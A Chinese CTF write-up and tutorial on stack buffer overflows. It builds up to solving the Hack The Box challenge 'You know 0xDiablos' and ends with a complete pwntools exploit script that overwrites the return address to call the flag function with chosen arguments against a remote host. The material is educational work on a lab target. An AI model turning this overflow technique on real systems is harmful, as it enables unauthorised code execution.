pwn入门HTB_You know 0xDiablos例题讲解

news/2024/5/19 22:15:58 标签: 数据结构, 网络安全, 安全, ctf

我希望能将我的疑惑记录,但是堆栈函数调用这些这些,几句话我很难讲清楚,多看教程,好教程很多
至于解题基础,知道栈这种数据结构是一个线性表之后就够了,这题看不懂你来砍我

文章目录

    • 前言
    • 这题干什么
    • 举个例子--数组
      • 数组越界
      • 原理
    • 再举个例子--call指令
      • 代码
      • 原理
      • 总结
    • 补充知识
      • call、ret (retn)、retf 指令
    • 解题
      • 分析 main 函数
      • 分析 vuln 函数
      • 分析 flag 函数
      • 利用思路讲解
        • 返回地址覆盖
        • 修改参数
      • payload 编写

前言

一不小心遇到了一道pwn题
在这里插入图片描述

没学过堆栈,不知道溢出,没经过基础知识的锤炼,没关系,慢慢看,不一定非要全学完才能做题

我的学习路线:

操作系统:https://www.bilibili.com/video/BV1iW411Y73K/

汇编语言:https://www.bilibili.com/video/BV1pi4y1P76P

数据结构和算法:https://www.bilibili.com/video/BV1nJ411V7bd/

这种方法真的很难坚持,我断断续续看了一个月只看了一部分,买了对应的教材,终于不再是一头雾水了

这题干什么

下载完了是个二进制的可执行文件,运行一下,要我输入,我输入什么它返回什么,输入长一点就报错,pwn题一大类就是通过改变保存在数据结构中的一些数据啥的,达到某些目的

在这里插入图片描述

在这里插入图片描述

工具安装就略过了,就是常说的 pwngdb以及ida

举个例子–数组

在做题之前举个例子,也可以直接看最后解题过程,看不懂再回来看例子

数组越界

这段程序很简单,判断你输入的登录密码是否正确,正确密码是secret

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
    char sActualPass[8] = "secret";
    char sInputPass[8] = "";

    while (1){
        printf("Enter your password:");
        scanf("%s",sInputPass);
        if (strcmp(sInputPass,sActualPass)==0){
            printf("Login sucessfully.\n");
            break;
        }
        else
            printf("Wrong password.\n");
    }
    printf("Start using the system...\n");
    system("pause");
}

编译后,第一次输入 12345678crack,第二次输入 crack就能登录成功

在这里插入图片描述

原理

本来我们输入的密码存储在一个长度为 8 的数组内,但是我们输入了 12345678crack,那多余的字符就要存储到下一个位置,而这个位置正好存储的是正确密码secret,我们改写成了crack,所以比较时,输入crack就登录成功了

再举个例子–call指令

代码

定义一个 main 函数,调用了一个 fun_1(),而 fun_1()定义了一个数组,长度为 2,没什么特别的

#include<stdio.h>
void fun_1(){
    int a[2];
    a[0]=1;
    a[1]=2;
}
int main(){
    fun_1();
    printf("ok");
    return 0;
}

如果在 fun_1() 中定义一个下标越界的元素,程序是不能正常执行的

void fun_1(){
    int a[2];
    a[0]=1;
    a[1]=2;
    a[10000000]=3;
}

在这里插入图片描述

重点来了,修改数组元素 a[4] 的值为某个地址,可以正常执行了 printf() 语句

void fun_1(){
    int a[2];
    a[0]=1;
    a[1]=2;
    a[4]=0x40114b;
}

在这里插入图片描述

原理

原理其实很简单,在 main 函数调用 fun_1() 之前,会执行 call 指令,该指令会将下一句指令的位置入栈,再跳转调用函数

而在本例中就可以使用 a[4] 来访问并修改,CPU自然就会跳转到对应位置继续执行了

0x40114bprintf()语句的起始地址,所以会正常输出ok

(ps:这里使用的演示工具是 https://godbolt.org/,谁用谁知道)

在这里插入图片描述

为什么是 a[4] 呢?

因为数据存在栈中,而栈这种数据结构是由高地址向低地址增长的,且入栈时也可以发现先入栈的是 a[1],然后才是 a[0],在执行call指令时,首先会将下一条指令的指针入栈,而我们使用的是x86-64位的指令集,这种情况下,一个指针占位是八个字节,所以是a[4]而不是a[3]

在这里插入图片描述

总结

溢出漏洞的原理就是改写了内存中某些数据,而这个数据会被别的程序或CPU调用,就会出现意想不到的后果,比如上两个例子中,改写正确密码绕过登录验证,改写CPU返回地址直接跳转到恶意函数…

补充知识

call、ret (retn)、retf 指令

call指令先将下一指令的地址入栈,然后进行跳转,去执行被调用函数

# 段间转移
push CS:IP
jmp far ptr 标号
# 依据位移进行近端转移
push IP
jmp near ptr 标号

ret(retn):近转移

pop IP

retf:远转移

pop IP
pop CS

call指令是调用函数时使用,retretf是函数结束返回时使用,至于近转移和远转移也很好理解,近处都是一个段,自然不用改变

解题

使用ida打开文件,F5查看反汇编代码,左边的窗口是程序用到的子函数

在这里插入图片描述

分析 main 函数

关于初始化的一些堆栈操作不予分析,用到再说

setvbuf(stdout,0,2,0);
// 此函数是设置缓冲区的类型和大小的 因为cpu读写io需要较长时间 所以就有了缓冲区 把数据写入缓冲区 然后攒到一起再进行磁盘操作 有输入缓冲区和输出缓冲区
v4=getegid();
// 用来取得执行目前进程有效组识别码 有效的组识别码用来决定进程执行时组的权限
setresgid(v4,v4,v4);
// 设置用户组ID,有效用户组ID和保存用户组ID
puts("You konw who are 0xDiablos:");
// 在屏幕输出字符
最后调用vuln()函数

在这里插入图片描述

暂时没看到什么值得注意的

分析 vuln 函数

在这里插入图片描述

  1. 该函数定义了一个长度为 180 (180个元素)的字符数组
  2. gets函数用于从标准输入设备读取字符,但是该函数不会限制读取字符的长度,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出
  3. 将读取的字符在屏幕输出

看来问题可能出现在gets这里了,但是我们要怎么利用呢?

分析 flag 函数

做题肯定要找 flag 的,在左边找到 flag()函数

在这里插入图片描述

  1. 首先定义了一个字符指针变量,在C语言中,如果定义一个字符串 s="abcde";实际上是将首字母 a的地址赋值给 s,到时通过首地址+偏移量即可找到该字符串,所以定义一个 *result和定义一个数组是一样的
  2. fopen打开 flag.txt文件
  3. 如果该文件存在,则打印一行字符
  4. fgets函数是限制长度的gets函数,第一个参数是要存储到的内存空间的首地址,第二个参数是读取的字符串的长度,第三个参数代表从何种流中读取,这句代码的意思就是从flag.txt流中读取64位存储到 s 指向的地址,最终保存为result
  5. 判断a1a2的值,如果等于设置的值,则打印result flag 文件内容

那么如何控制a1a2呢?可以看到是该函数初始传递的参数,那么怎么调用flag()函数呢?

在函数调用时,会将参数的值先入栈,且是从右到左的顺序入栈,然后才执行call指令,所以如果想改变参数也很容易找到位置

在这里插入图片描述

利用思路讲解

返回地址覆盖

到这里利用思路应该比较明确了,通过gets函数的溢出,控制vuln函数的call指令的返回地址,跳转到flag函数执行,并传递a1a2两个参数,最终使程序打印flag文件的内容

那么具体如何利用我们再回过头分析一下vuln的汇编代码,一切要从main函数中的call vuln说起

在这里插入图片描述

ps:在ida中想要查看汇编代码的地址需要配置:options-->general

在这里插入图片描述

在执行call vuln 之前,此时栈中情况用下图表示,之前的栈操作省略(入栈的值只做演示,不一定就是真实值)

在这里插入图片描述

执行call 指令,会将IP寄存器的值入栈,也就是mov eax,0的地址

在这里插入图片描述

如何判断是IP入栈还是CS:IP入栈呢?(纯属猜测,如有不对,请指正)

在这里插入图片描述

到了vuln函数,第一句push ebp,将上一个函数的栈基址入栈

在这里插入图片描述

在这里插入图片描述

接下来mov xxsub xx语句都是寄存器操作,不影响栈中数据,push ebxebx寄存器的值入栈

在这里插入图片描述

在这里插入图片描述

接下来执行call语句,先说addsublea是操作寄存器的值,略过

在这里插入图片描述

这个call函数指令也是是寄存器操作,虽也有入栈出栈操作,但是执行完毕后,栈会恢复原样,所以也没有影响

在这里插入图片描述

接下来是重点了

在这里插入图片描述

首先入栈eax的值,是s这个变量,在代码中我们定义了一个长度 180 的数组 s

在这里插入图片描述

那么将它入栈,占 180 个字节,而前面几个寄存器都是4个字节 (32位程序)

在这里插入图片描述

然后执行call _gets继续入栈 IP指针地址

在这里插入图片描述

所以我们可以控制gets函数的参数,让其超过 180 字节,向上覆盖掉入栈的 IP 指针,也就是 188字节的填充值 +flag函数的地址 0x080491E2

在这里插入图片描述

修改参数

那么如何修改 a1a2的参数呢?我们知道函数的参数是先于call指令入栈的,我们直接继续加上参数值CPU就会找到

可以注意到在flag函数地址与参数之间还有一个位置,这是flag函数的返回地址,我们需要符合这个格式,函数才能正确执行,至于执行完返回到哪里我们就不在意了,随便设置个 0 就可以

在这里插入图片描述

a1a2的值我们可以在cmp指令中看到,分别是

在这里插入图片描述

if语句中,是按照从左到右的顺序比较的,所以a1应该等于 0xDEADBEEFa2等于0xC0DED00D

在这里插入图片描述

payload 编写

使用 python工具包 pwntools编写

# python2
from pwn import *
# 连接远程机器地址
io = remote('ip',port)
# 偏移量 188 字节
offset = 188
# flag 函数地址
flag_addr = 0x80491e2
# 188字节的A+flag函数地址+flag函数返回地址+参数1+参数2
payload = 'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()

在这里插入图片描述

使用 python3编写 exploit.txt ,只需要将占位符转换为 byte格式

from pwn import *

io = remote('144.126.228.155',32408)
offset = 188
flag_addr = 0x80491e2
payload = b'A' * 188 + p32(flag_addr) + p32(0) + p32(0xdeadbeef) + p32(0xc0ded00d)
io.sendline(payload)
io.interactive()

得到同样的结果

在这里插入图片描述


http://www.niftyadmin.cn/n/160583.html

相关文章

vue面试题(day05)

vue面试题vue3中Composition API 的优势&#xff1f;1.了解 Options ApiCompositioncomposition APi&#xff1a;2.shallowReactive和shallowRef的区别&#xff1f;3.provide与inject如何使用&#xff1f;总结4.toRaw 与 markRaw是什么作用&#xff1f;5.readonly 与 shallowRe…

[ROC-RK3568-PC] [Firefly-Android] 10min带你了解LCD的使用

&#x1f347; 博主主页&#xff1a; 【Systemcall小酒屋】&#x1f347; 博主追寻&#xff1a;热衷于用简单的案例讲述复杂的技术&#xff0c;“假传万卷书&#xff0c;真传一案例”&#xff0c;这是林群院士说过的一句话&#xff0c;另外“成就是最好的老师”&#xff0c;技术…

API的常识与对接,商品详情数据案例分析

原则上API接口设计一般出现在开发的详细设计中&#xff0c;但是随着诸多公司建立开放平台&#xff0c;产品经理也逐渐需要能理解API接口&#xff0c;尤其是做平台性的产品&#xff0c;还要学会定义接口。本文就关于产品经理在设计接口中需要定义什么、需要注意什么来展开陈述。…

oracle19c迁移手册

windows10- 查看当前用户所有的表&#xff1a;select table_name from user_tables;- 创建用户给与权限&#xff1a;&#xff08;用户名是c##开头是因为oracle版本问题)- create user C##test identified by 1 default tablespace T1 temporary tablespace T2; grant connect,d…

Dynamics365业务理解

Dynamics 365 是微软的一套基于云端的企业应用软件&#xff0c;提供一系列业务功能模块&#xff0c;包括销售、客户服务、人力资源、财务和操作等领域。它能够帮助企业整合各个部门的数据和流程&#xff0c;提高工作效率、盈利能力和客户满意度。简介Dynamics 365是由微软公司开…

mysql-日志备份

1.binlog 用于数据恢复&#xff0c; 用于数据复制。 mysql> show variables like %log_bin%; -------------------------------------------------------------- | Variable_name | Value | ----------------------------------…

盘点科技巨头入场隐私计算

随着数字化时代的到来&#xff0c;数据已经成为企业竞争的重要资源。然而&#xff0c;与此同时&#xff0c;数据隐私泄露的风险也在不断增加&#xff0c;这已经成为了公共安全和个人权利保护的重要问题。为了解决这个问题&#xff0c;科技巨头谷歌、苹果、亚马逊和阿里纷纷入局…

分享暄桐好作业之《临〈岁朝清供图〉》

告诉大家一个好消息“暄桐好作业”栏目上新啦~除了与大家分享正在进行的课程好作业&#xff0c;还会向大家展示来自暄桐学长学姐们的优秀国画作品。希望正在上课的暄桐同学们能够从学长学姐的分享以及暄桐教室专业助教的点评中&#xff0c;从中获益并获得力量&#xff0c;继续努…